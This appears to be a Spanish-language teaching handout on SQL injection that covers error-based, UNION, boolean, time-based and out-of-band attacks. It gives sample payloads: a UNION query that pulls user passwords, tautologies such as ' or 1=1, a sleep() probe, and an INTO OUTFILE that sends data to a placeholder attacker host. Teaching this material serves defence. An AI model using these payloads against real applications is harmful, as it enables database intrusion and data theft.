Inyección SQL
¿ Que es SQL ?
SQL (Structured Query Language) es un lenguaje de dominio
específico utilizado en programación, diseñado para
administrar y recuperar información de sistemas de gestión de
bases de datos relacionales.
Operaciones como:
Crear, modificar, eliminar, añadir información a un gestor de
base de datos
¿ Que es Inyección SQL ?
Inyección SQL es un método de infiltración de código intruso
que se vale de una vulnerabilidad informática presente en una
aplicación en el nivel de validación de las entradas para
realizar operaciones sobre una base de datos.
Tipos de inyección SQL
1. Inyección SQL en banda:
Ataque inyección SQL por error.
Es el más común y el más fácil de explotar ya que es la propia
aplicación que nos va diciendo los errores que da la base de
datos cuando vamos usando los ataques de SQL injection. Con
este error es muy fácil conseguir cualquier cosa de la base de
datos (estructura, tablas, nombres de campos e incluso datos).
Ataque inyección SQL por unión
Es la más visual de los ataques de SQL injection, ya que
consiste en añadir una sentencia SQL maliciosa a la sentencia
SQL original haciendo que la web nos muestre más datos de los
que tendría que mostrarnos.
Select titulo, enlace
from mesa_de_correo
Where id < 10
UNION
Select usuario, contraseña
from tabla_de_usuario; -- ;
2. Inyección SQL Inferencial (Blind SQL
Injection)
Ataque Booleano
Es el ataque de SQL injection más complicado, ya que puede
ser que no podamos hacer el ataque por error ni tampoco por
unión, y como si fuera un fantasma en una casa encantada, solo
podamos preguntar preguntas cuya respuesta sea verdadero o
falso. De este ataque hay dos tipos, si/no y por tiempo. En este
articulo hablaremos del ataque si/no o booleano.
- ‘ and 1=1
- ‘ or 1=1
Ataque inyección SQL por tiempo
Cuando la web no da errores con las excepciones de la base de
datos, cuando no es posible ni inyectar código por unión ni
siquiera por un ataque ciego si/no, lo único que queda por
probar es ataque ciego por tiempo. El más difícil de todos.
select * from comentario
where id_comentario=1 -sleep(15);
3. Inyección SQL fuera de banda
Típicamente, estas técnicas implican el envío de datos de la base de
datos a una ubicación maligna elegida por el atacante.
Este proceso también depende en gran medida de las capacidades del
sistema de gestión de la base de datos.
Un ataque de inyección SQL fuera de banda utiliza una capacidad de
proceso de archivos externos de su SGBD. En MySQL, las funciones
LOAD_FILE() y INTO OUTFILE pueden ser usadas para solicitar a
MySQL que transmita los datos a una fuente externa.
select * from mesa_de_correo
into OUTFILE '\\\\MALICIOUS_IP_ADDRESS\location'